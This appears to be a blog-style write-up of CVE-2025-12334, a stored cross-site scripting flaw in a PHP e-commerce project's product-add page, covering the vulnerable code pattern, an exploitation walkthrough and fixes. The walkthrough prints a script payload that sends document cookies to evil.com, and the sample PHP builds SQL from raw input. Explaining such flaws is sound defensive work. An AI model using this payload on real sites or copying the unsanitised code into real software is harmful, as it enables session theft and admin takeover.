CVE-2025-12334: The 'Add Product' Feature That Adds Malware Instead

In the world of open-source PHP projects, there is a special place for 'E-Commerce Website 1.0' by code-projects. It promises a simple platform for selling goods online. Unfortunately, it delivers a masterclass in how not to handle user input.

CVE-2025-12334 isn't some complex heap overflow or a race condition requiring nanosecond timing. It is the digital equivalent of leaving your store's front door unlocked, the safe open, and a sign on the counter saying 'Please rob us.'

The vulnerability lies in the most critical component of any shop: the inventory system. Specifically, the file responsible for adding new products (/pages/product_add.php) treats all user input as gospel truth, leading to a text-book Stored Cross-Site Scripting (XSS) flaw. If you can type <script>, you can own this platform.

The root cause here is Improper Neutralization of Input During Web Page Generation (CWE-79). In simpler terms, the application takes what you give it and smears it onto the screen for everyone else to see, without checking if you gave it a product name or a malicious payload.

Most modern frameworks handle this automatically. They sanitize inputs or escape outputs so that code is rendered as text. This application, however, appears to be written in 'Raw PHP from 2005' style.

Even worse, reports indicate that accessing /pages/product_add.php might not even require authentication. This means an attacker doesn't even need to buy a product or create an account; they can simply navigate to the URL and start poisoning the database. The application fails to validate the prod_name, prod_desc, and prod_cost parameters, assuming users will only enter text and numbers. Users, as we know, are not that benevolent.

Let's look at the anatomy of this disaster. While the specific source code isn't fully disclosed in a git diff, the behavior describes a very specific, common pattern in vulnerable PHP applications.

The Vulnerable Pattern

The code likely grabs POST data and shoves it directly into a SQL query string. It looks something like this:

// pages/product_add.php
 
// 1. Receive dirty input directly from the global $_POST array
$name = $_POST['prod_name'];
$desc = $_POST['prod_desc']; 
$cost = $_POST['prod_cost'];
 
// 2. Insert into Database WITHOUT sanitization or prepared statements
// This creates both XSS and SQL Injection risks
$query = "INSERT INTO products (prod_name, prod_desc, prod_cost) VALUES ('$name', '$desc', '$cost')";
$mysqli->query($query);

The Resulting Render

Later, when an admin checks their inventory in product_list.php, the application echoes that data back out:

// pages/product_list.php
while($row = $result->fetch_assoc()) {
    // The browser sees the <script> tag and executes it immediately
    echo "<tr><td>" . $row['prod_name'] . "</td>...</tr>";
}

This is the "Smoking Gun." The lack of htmlspecialchars() or htmlentities() on the output, combined with the lack of input filtering, completes the attack chain.

Because this is Stored XSS, the attack is asynchronous. The attacker plants the mine, and the victim steps on it later. Here is how a researcher—or an attacker—would verify this:

1. Scout the Target The attacker navigates to http://target-site.com/pages/product_add.php. If the developers were truly lazy, this page is accessible without logging in.

2. Craft the Payload The attacker fills out the form. Instead of naming the product "Red T-Shirt", they name it:

<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>

They might also inject into the prod_cost field, knowing that developers often forget to validate that a price is actually a number.

3. The Trap is Set The attacker clicks "Save". The database now stores that script tag as the product name.

4. Execution An administrator logs in to check why a new product appeared. The moment the product_list.php page loads, the browser parses the malicious name. The script executes silently, sending the admin's session ID (cookies) to the attacker's server (evil.com). The attacker can now impersonate the admin.

Fixing this requires a defense-in-depth approach. You cannot rely on just one layer.

1. Output Encoding (The Silver Bullet) The most effective fix for XSS is to treat all user content as text, not code. In PHP, this means wrapping variables in htmlspecialchars() before echoing them:

// The Fixed View Logic
echo "<td>" . htmlspecialchars($row['prod_name'], ENT_QUOTES, 'UTF-8') . "</td>";

This converts <script> into <script>, which displays safely in the browser but does not execute.

2. Input Validation Ensure prod_cost is actually a number/float. If someone tries to send text for a price, reject the request entirely.

3. Access Control Restrict access to /pages/product_add.php. Only authenticated administrators should be able to reach this endpoint. This reduces the attack surface significantly.